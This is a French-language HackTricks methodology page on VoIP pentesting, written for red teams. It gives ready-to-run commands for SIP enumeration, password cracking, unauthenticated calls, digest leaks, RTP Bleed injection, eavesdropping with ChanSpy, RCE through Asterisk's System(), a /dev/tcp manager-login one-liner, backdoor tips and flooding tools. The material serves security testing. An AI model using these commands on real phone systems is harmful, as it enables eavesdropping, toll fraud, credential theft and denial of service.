hacktricks/network-services-pentesting/pentesting-voip/README.md
2023-06-03 13:10:46 +00:00

510 lines
35 KiB
Markdown

## Pentesting VoIP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informations de base sur la VoIP
Pour commencer à apprendre comment fonctionne la VoIP, consultez :
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
## Énumération de la VoIP
### Numéros de téléphone
L'une des premières étapes qu'une équipe Red peut faire est de rechercher les numéros de téléphone disponibles pour contacter l'entreprise en utilisant des outils OSINT, des recherches Google ou en grattant les pages web.
Une fois que vous avez les numéros de téléphone, vous pouvez utiliser des services en ligne pour identifier l'opérateur :
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Savoir si l'opérateur fournit des services VoIP vous permet d'identifier si l'entreprise utilise la VoIP... De plus, il est possible que l'entreprise n'ait pas embauché de services VoIP mais utilise des cartes PSTN pour connecter son propre PBX VoIP au réseau téléphonique traditionnel.
Des choses comme les réponses automatisées de la musique indiquent généralement que la VoIP est utilisée.
### Google Dorks
```bash
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
### Informations OSINT
Toute autre énumération OSINT qui aide à identifier le logiciel VoIP utilisé sera utile pour une équipe rouge.
### Énumération du réseau
* **`nmap`** est capable de scanner les services UDP, mais en raison du nombre de services UDP scannés, il est très lent et peut ne pas être très précis avec ce type de services.
* **`svmap`** de SIPVicious (`sudo apt install sipvicious`): localisera les services SIP dans le réseau indiqué.
* `svmap` est **facile à bloquer** car il utilise l'User-Agent `friendly-scanner`, mais vous pouvez modifier le code de `/usr/share/sipvicious/sipvicious` et le changer.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`sipscan.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan est un scanner très rapide pour les services SIP sur UDP, TCP ou TLS. Il utilise le multithreading et peut scanner de larges plages de réseaux. Il permet de facilement indiquer une plage de ports, de scanner à la fois TCP et UDP, d'utiliser une autre méthode (par défaut, il utilisera OPTIONS) et de spécifier un User-Agent différent (et plus encore).
```bash
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
```
* **metasploit** :
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Énumération de services réseau supplémentaires
Le PBX pourrait également exposer d'autres services réseau tels que:
* **69/UDP (TFTP)**: Mises à jour du micrologiciel
* **80 (HTTP) / 443 (HTTPS)**: Pour gérer l'appareil depuis le web
* **389 (LDAP)**: Alternative pour stocker les informations des utilisateurs
* **3306 (MySQL)**: Base de données MySQL
* **5038 (Manager)**: Permet d'utiliser Asterisk depuis d'autres plates-formes
* **5222 (XMPP)**: Messages utilisant Jabber
* **5432 (PostgreSQL)**: Base de données PostgreSQL
* Et d'autres...
### Énumération des méthodes
Il est possible de trouver **quelles méthodes sont disponibles** à utiliser dans le PBX en utilisant `sipenumerate.py` de [**sippts**](https://github.com/Pepelux/sippts)
```bash
python3 sipenumerate.py -i 10.10.0.10 -r 5080
```
### Énumération d'extensions
Les extensions dans un système PBX (Private Branch Exchange) font référence aux **identificateurs internes uniques attribués à chaque** ligne téléphonique, appareil ou utilisateur au sein d'une organisation ou d'une entreprise. Les extensions permettent de **router efficacement les appels au sein de l'organisation**, sans avoir besoin de numéros de téléphone externes individuels pour chaque utilisateur ou appareil.
* **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` est un scanner de lignes d'extension SIP PBX gratuit. En concept, il fonctionne de manière similaire aux wardialers traditionnels en **devinant une plage d'extensions ou une liste donnée d'extensions**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`sipextend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifie les extensions sur un serveur SIP. Sipexten peut vérifier de grands réseaux et des plages de ports.
```bash
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
```
* **metasploit**: Vous pouvez également énumérer les extensions/noms d'utilisateur avec metasploit:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** est un **énumérateur de force brute de noms d'utilisateur** pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner selon deux modes distincts : Deviner les noms d'utilisateur séquentiellement ou Attaque par dictionnaire.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## Attaques VoIP
### Brute-Force de mot de passe
Ayant découvert le **PBX** et certains **noms d'utilisateur/extensions**, une équipe rouge pourrait essayer de **s'authentifier via la méthode `REGISTER`** à une extension en utilisant un dictionnaire de mots de passe courants pour forcer l'authentification.
{% hint style="danger" %}
Notez qu'un **nom d'utilisateur** peut être identique à l'extension, mais cette pratique peut varier en fonction du système PBX, de sa configuration et des préférences de l'organisation...
Si le nom d'utilisateur n'est pas identique à l'extension, vous devrez **déterminer le nom d'utilisateur pour le forcer par brute-force**.
{% endhint %}
* **`svcrack`** de SIPVicious (`sudo apt install sipvicious`): SVCrack vous permet de craquer le mot de passe pour un nom d'utilisateur/extension spécifique sur un PBX.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`sipcrack.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack est un outil pour craquer les authentifications digest dans le protocole SIP.
```bash
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
```
{% endcode %}
* **Metasploit**:
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
### Sniffing VoIP
Si vous trouvez un équipement VoIP dans un réseau **Open Wifi**, vous pouvez **capturer toutes les informations**. De plus, si vous êtes dans un réseau plus fermé (connecté via Ethernet ou Wifi protégé), vous pouvez effectuer des **attaques MitM telles que** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre le **PBX et la passerelle** pour capturer les informations.
Parmi les informations réseau, vous pouvez trouver des **identifiants web** pour gérer l'équipement, des **extensions d'utilisateur**, des **noms d'utilisateur**, des adresses **IP**, même des **mots de passe hachés** et des **paquets RTP** que vous pouvez reproduire pour **écouter la conversation**, et plus encore.
Pour obtenir ces informations, vous pouvez utiliser des outils tels que Wireshark, tcpdump... mais un **outil spécialement créé pour capturer les conversations VoIP est** [**ucsniff**](https://github.com/Seabreg/ucsniff).
{% hint style="danger" %}
Notez que si **TLS est utilisé dans la communication SIP**, vous ne pourrez pas voir la communication SIP en clair.\
La même chose se produira si **SRTP** et **ZRTP** sont utilisés, les **paquets RTP ne seront pas en clair**.
{% endhint %}
#### Identifiants SIP
[Consultez cet exemple pour mieux comprendre une **communication SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) pour apprendre comment sont envoyées les **informations d'identification**.
* **`sipdump`** & **`sipcrack`,** faisant partie de **sipcrack** (`apt-get install sipcrack`): Ces outils peuvent **extraire** d'un **pcap** les **authentifications digest** dans le protocole SIP et les **forcer** par bruteforce.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:**
* **SipTshark** extrait les données du protocole SIP à partir d'un fichier PCAP.
* **SipDump** extrait les authentifications SIP Digest à partir d'un fichier PCAP.
* **SIP Digest Crack** est un outil pour casser les authentifications digest dans le protocole SIP.
```bash
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
```
#### Codes DTMF
Non seulement les **informations d'identification SIP** peuvent être trouvées dans le trafic réseau, il est également possible de trouver des codes DTMF qui sont utilisés, par exemple, pour accéder à la **messagerie vocale**.\
Il est possible d'envoyer ces codes dans des **messages INFO SIP**, dans l'**audio** ou à l'intérieur des **paquets RTP**. Si les codes sont à l'intérieur des paquets RTP, vous pouvez couper cette partie de la conversation et utiliser l'outil multimo pour les extraire :
```bash
multimon -a DTMF -t wac pin.wav
```
### Appels gratuits / Mauvaises configurations de connexions Asterisks
Dans Asterisk, il est possible d'autoriser une connexion **à partir d'une adresse IP spécifique** ou de **n'importe quelle adresse IP**:
```
host=10.10.10.10
host=dynamic
```
Si une adresse IP est spécifiée, l'hôte **n'aura pas besoin d'envoyer des requêtes REGISTER** de temps en temps (dans le paquet REGISTER est envoyé le temps de vie, généralement 30 minutes, ce qui signifie que dans un autre scénario, le téléphone devra s'enregistrer toutes les 30 minutes). Cependant, il devra avoir des ports ouverts permettant aux connexions du serveur VoIP de prendre des appels.
Pour définir les utilisateurs, ils peuvent être définis comme suit :
* **`type=user`** : L'utilisateur ne peut recevoir que des appels en tant qu'utilisateur.
* **`type=friend`** : Il est possible d'effectuer des appels en tant que pair et de les recevoir en tant qu'utilisateur (utilisé avec des extensions).
* **`type=peer`** : Il est possible d'envoyer et de recevoir des appels en tant que pair (SIP-trunks).
Il est également possible d'établir une confiance avec la variable insecure :
* **`insecure=port`** : Autorise les connexions de pairs validées par IP.
* **`insecure=invite`** : Ne nécessite pas d'authentification pour les messages INVITE.
* **`insecure=port,invite`** : Les deux.
{% hint style="warning" %}
Lorsque **`type=friend`** est utilisé, la **valeur** de la variable **host** **ne sera pas utilisée**, donc si un administrateur **mal configure un SIP-trunk** en utilisant cette valeur, **n'importe qui pourra s'y connecter**.
Par exemple, cette configuration serait vulnérable :\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
### Appels gratuits / Mauvaises configurations de contexte Asterisks
Dans Asterisk, un **contexte** est un conteneur ou une section nommé(e) dans le plan de numérotation qui **regroupe les extensions, les actions et les règles** liées. Le plan de numérotation est le composant principal d'un système Asterisk, car il définit **comment les appels entrants et sortants sont gérés et routés**. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrôle d'accès et fournir une séparation entre les différentes parties du système.
Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier **`extensions.conf`**. Les contextes sont indiqués par des crochets, avec le nom du contexte entre eux. Par exemple :
```bash
csharpCopy code[my_context]
```
Dans le contexte, vous définissez des extensions (modèles de numéros composés) et les associez à une série d'actions ou d'applications. Ces actions déterminent la façon dont l'appel est traité. Par exemple :
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Cet exemple montre un contexte simple appelé "my\_context" avec une extension "100". Lorsque quelqu'un compose le 100, l'appel sera répondu, un message de bienvenue sera joué, puis l'appel sera terminé.
Voici **un autre contexte** qui permet d'**appeler n'importe quel autre numéro**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
Si l'administrateur définit le **contexte par défaut** comme suit :
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
N'importe qui pourra utiliser le **serveur pour appeler n'importe quel autre numéro** (et l'administrateur du serveur paiera pour l'appel).
{% endhint %}
{% hint style="danger" %}
De plus, par défaut, le fichier **`sip.conf`** contient **`allowguest=true`**, donc **n'importe quel** attaquant **sans authentification** pourra appeler n'importe quel autre numéro.
{% endhint %}
* **`sipinvite.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite vérifie si un **serveur PBX nous permet de passer des appels sans authentification**. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe.
Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître aucun nom d'utilisateur/mot de passe.
{% code overflow="wrap" %}
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
### Appels gratuits / IVRS mal configuré
IVRS signifie **Interactive Voice Response System**, une technologie de téléphonie qui permet aux utilisateurs d'interagir avec un système informatisé par la voix ou des entrées à tonalité. IVRS est utilisé pour construire des systèmes de gestion d'appels automatisés qui offrent une gamme de fonctionnalités, telles que la fourniture d'informations, le routage des appels et la capture des entrées utilisateur.
IVRS dans les systèmes VoIP se compose généralement de :
1. **Messages vocaux**: Messages audio préenregistrés qui guident les utilisateurs à travers les options de menu IVR et les instructions.
2. **Signalisation DTMF** (Dual-Tone Multi-Frequency) : Entrées à tonalité générées en appuyant sur des touches sur le téléphone, qui sont utilisées pour naviguer dans les menus IVR et fournir des entrées.
3. **Routage des appels**: Diriger les appels vers la destination appropriée, tels que des départements spécifiques, des agents ou des extensions en fonction de l'entrée de l'utilisateur.
4. **Capture d'entrée utilisateur**: Collecte d'informations auprès des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
5. **Intégration avec des systèmes externes**: Connexion du système IVR à des bases de données ou à d'autres systèmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.
Dans un système VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (**fichier `extensions.conf`**) et diverses applications telles que `Background()`, `Playback()`, `Read()`, et plus encore. Ces applications vous aident à lire des messages vocaux, à capturer les entrées utilisateur et à contrôler le flux d'appels.
#### Exemple de configuration vulnérable
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Le précédent est un exemple où l'utilisateur est invité à **appuyer sur 1 pour appeler** un département, **2 pour appeler** un autre, ou **l'extension complète** s'il la connaît.\
La vulnérabilité réside dans le fait que la **longueur de l'extension n'est pas vérifiée**, de sorte qu'un utilisateur pourrait entrer un numéro complet pendant les 5 secondes de temps d'attente et il sera appelé.
### Injection d'extension
En utilisant une extension telle que :
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
Lorsque l'extension **`${EXTEN}`** sera appelée, voici ce qui se passera lorsque l'extension **101** sera introduite :
```scss
exten => 101,1,Dial(SIP/101)
```
Cependant, si **`${EXTEN}`** permet d'introduire **plus que des chiffres** (comme dans les anciennes versions d'Asterisk), un attaquant pourrait introduire **`101&SIP123123123`** pour appeler le numéro de téléphone 123123123. Et voici le résultat :
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Par conséquent, un appel à l'extension **`101`** et **`123123123`** sera envoyé et seul le premier appelé établi la communication... mais si un attaquant utilise une **extension qui contourne toute correspondance** qui est en cours d'exécution mais qui n'existe pas, il pourrait **injecter un appel uniquement vers le numéro souhaité**.
## Fuite de Digest SIP
La fuite de Digest SIP est une vulnérabilité qui affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet la **fuite de la réponse d'authentification Digest**, qui est calculée à partir du mot de passe. Une **attaque de mot de passe hors ligne est alors possible** et peut récupérer la plupart des mots de passe en fonction de la réponse au défi.
Scénario de vulnérabilité (pour [**plus d'informations, consultez ceci**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)):
1. Un téléphone IP (victime) écoute sur le port 5060, acceptant les appels téléphoniques
2. L'attaquant envoie une INVITE au téléphone IP
3. Le téléphone de la victime commence à sonner et quelqu'un décroche et raccroche (parce que personne ne répond au téléphone à l'autre bout)
4. Lorsque le téléphone est raccroché, le **téléphone de la victime envoie un BYE à l'attaquant**
5. L'**attaquant émet une réponse 407** qui **demande une authentification** et émet un défi d'authentification
6. Le **téléphone de la victime fournit une réponse au défi d'authentification** dans un deuxième BYE
7. L'**attaquant peut alors lancer une attaque par force brute** sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe
* **sipdigestleak.py** de [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak exploite cette vulnérabilité.
```bash
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
```
### Click2Call
Click2Call permet à un **utilisateur web** (qui pourrait par exemple être intéressé par un produit) d'**introduire** son **numéro de téléphone** pour être appelé. Ensuite, un commercial sera appelé et lorsque celui-ci **décroche le téléphone**, l'utilisateur sera **appelé et connecté à l'agent**.
Un profil Asterisk courant pour cela est :
```scss
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* Le profil précédent permet à **N'IMPORTE QUELLE adresse IP de se connecter** (si le mot de passe est connu).
* Pour **organiser un appel**, comme spécifié précédemment, **aucune permission de lecture n'est nécessaire** et **seulement** **originate** en **écriture** est nécessaire.
Avec ces autorisations, toute adresse IP connaissant le mot de passe pourrait se connecter et extraire trop d'informations, comme:
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
### **Écoute clandestine**
Dans Asterisk, il est possible d'utiliser la commande **`ChanSpy`** en indiquant les **extensions à surveiller** (ou toutes) pour entendre les conversations qui ont lieu. Cette commande doit être attribuée à une extension.
Par exemple, **`exten => 333,1,ChanSpy('all',qb)`** indique que si vous **appelez** l'**extension 333**, elle **surveillera** **`toutes`** les extensions, **commencera à écouter** chaque fois qu'une nouvelle conversation commence (**`b`**) en mode silencieux (**`q`**) car nous ne voulons pas y participer. Vous pouvez passer d'une conversation à l'autre en appuyant sur **`*`**, ou en marquant le numéro de l'extension.
Il est également possible d'utiliser **`ExtenSpy`** pour surveiller une seule extension.
Au lieu d'écouter les conversations, il est possible de les **enregistrer dans des fichiers** en utilisant une extension telle que:
{% code overflow="wrap" %}
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
Les appels seront enregistrés dans **`/tmp`**.
Vous pouvez même faire en sorte qu'Asterisk **exécute un script qui va divulguer l'appel** lorsqu'il est fermé.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed
**RTCPBleed** est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à **tout utilisateur sur Internet d'intercepter et de rediriger le trafic RTP (Real Time Protocol)**, qui transporte les conversations VoIP. Cela se produit car le trafic RTP contourne l'authentification lorsqu'il navigue à travers les pare-feux NAT (Network Address Translation).
Les mandataires RTP tentent de résoudre les **limites NAT** affectant les systèmes RTC en faisant transiter les flux RTP entre deux ou plusieurs parties. Lorsque NAT est en place, le logiciel de mandataire RTP ne peut souvent pas se fier aux informations IP et de port RTP récupérées par la signalisation (par exemple SIP). Par conséquent, un certain nombre de mandataires RTP ont mis en œuvre un mécanisme où un tel **couple IP et port est appris automatiquement**. Cela est souvent fait en inspectant le trafic RTP entrant et en marquant l'adresse IP source et le port pour tout trafic RTP entrant comme celui qui devrait être répondu. Ce mécanisme, qui peut être appelé "mode d'apprentissage", **n'utilise aucun type d'authentification**. Par conséquent, les **attaquants** peuvent **envoyer du trafic RTP au mandataire RTP** et recevoir le trafic RTP mandaté destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux de médias RTP destinés à être envoyés à des utilisateurs légitimes.
Un autre comportement intéressant des mandataires RTP et des piles RTP est que parfois, **même s'ils ne sont pas vulnérables à RTP Bleed**, ils **accepteront, transmettront et/ou traiteront des paquets RTP provenant de n'importe quelle source**. Par conséquent, les attaquants peuvent envoyer des paquets RTP qui peuvent leur permettre d'injecter leurs médias au lieu de ceux légitimes. Nous appelons cette attaque l'injection RTP car elle permet l'injection de paquets RTP illégitimes dans des flux RTP existants. Cette vulnérabilité peut être trouvée dans les mandataires RTP et les points d'extrémité.
Asterisk et FreePBX ont traditionnellement utilisé le paramètre **`NAT=yes`**, qui permet au trafic RTP de contourner l'authentification, ce qui peut entraîner une absence de son ou un son unidirectionnel lors des appels.
Pour plus d'informations, consultez [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`rtpbleed.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
```bash
python3 rtpbleed.py -i 10.10.0.10
```
* **`rtcpbleed.py`** de [**sippts**](https://github.com/Pepelux/sippts)** :** Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
```bash
python3 rtcpbleed.py -i 10.10.0.10
```
* **`rtpbleedflood.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Exploite la vulnérabilité RTP Bleed en envoyant des flux RTP
```bash
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
```
* **`rtpbleedinject.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Exploite la vulnérabilité RTP Bleed en envoyant des flux RTP (à partir d'un fichier audio)
```bash
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Si vous parvenez d'une manière ou d'une autre à **ajouter des règles d'extension et à les recharger** dans Asterisk (par exemple en compromettant un serveur de gestionnaire web vulnérable), il est possible d'obtenir une RCE en utilisant la commande **`System`**.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
Il existe une commande appelée **`Shell`** qui peut être utilisée **à la place de `System`** pour exécuter des commandes système si nécessaire.
{% hint style="warning" %}
Si le serveur **interdit l'utilisation de certains caractères** dans la commande **`System`** (comme dans Elastix), vérifiez si le serveur Web permet de **créer des fichiers quelque part dans le système** (comme dans Elastix ou trixbox), et utilisez-le pour **créer un script de porte dérobée** que vous pourrez ensuite utiliser avec **`System`** pour **exécuter** ce **script**.
{% endhint %}
#### Fichiers locaux intéressants et autorisations
* **`sip.conf`** -> Contient le mot de passe des utilisateurs SIP.
* Si le serveur **Asterisk est exécuté en tant que root**, vous pouvez compromettre root.
* L'utilisateur **root mysql** pourrait **ne pas avoir de mot de passe**.
* cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
* **`FreePBX`**
* **`amportal.conf`** -> Contient le mot de passe de l'administrateur du panneau Web (FreePBX).
* **`FreePBX.conf`** -> Contient le mot de passe de l'utilisateur FreePBXuser utilisé pour accéder à la base de données.
* cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
* **`Elastix`**
* **`Elastix.conf`** -> Contient plusieurs mots de passe en clair tels que le mot de passe root mysql, le mot de passe IMAPd, le mot de passe d'administration Web.
* **Plusieurs dossiers** appartiendront à l'utilisateur Asterisk compromis (s'il ne s'exécute pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires avec porte dérobée lorsqu'ils sont exécutés.
### Injection RTP
Il est possible d'insérer un **`.wav`** dans les conversations à l'aide d'outils tels que **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) et **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Ou vous pouvez utiliser les scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) pour **analyser les conversations** (**`rtpscan.pl`**), envoyer un fichier `.wav` à une conversation (**`rtpsend.pl`**) et **insérer du bruit** dans une conversation (**`rtpflood.pl`**).
### DoS
Il existe plusieurs façons d'essayer de réaliser une attaque DoS sur les serveurs VoIP.
* **`sipflood.py`** de [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ envoie des messages illimités à la cible
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/) : DoS du protocole IAX utilisé par Asterisk
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt) : Un outil pour effectuer une inondation de messages SIP/SDP INVITE sur UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/) : Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaître les ports RTP qui sont utilisés (sniffer d'abord).
* [**SIPp**](https://github.com/SIPp/sipp) : Permet d'analyser et de générer du trafic SIP. Il peut donc également être utilisé pour DoS.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak) : Couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP.
* Fuzzers : [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
* **`sipsend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend nous permet d'envoyer un **message SIP personnalisé** et d'analyser la réponse.
* **`wssend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend nous permet d'envoyer un message SIP personnalisé sur WebSockets et d'analyser la réponse.
### Vulnérabilités du système d'exploitation
La façon la plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une **distribution de système d'exploitation** qui l'a déjà installé, comme: **FreePBX, Elastix, Trixbox**... Le problème avec ceux-ci est qu'une fois qu'ils fonctionnent, les administrateurs système pourraient **ne plus les mettre à jour** et des **vulnérabilités** vont être découvertes avec le temps.
## Références
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
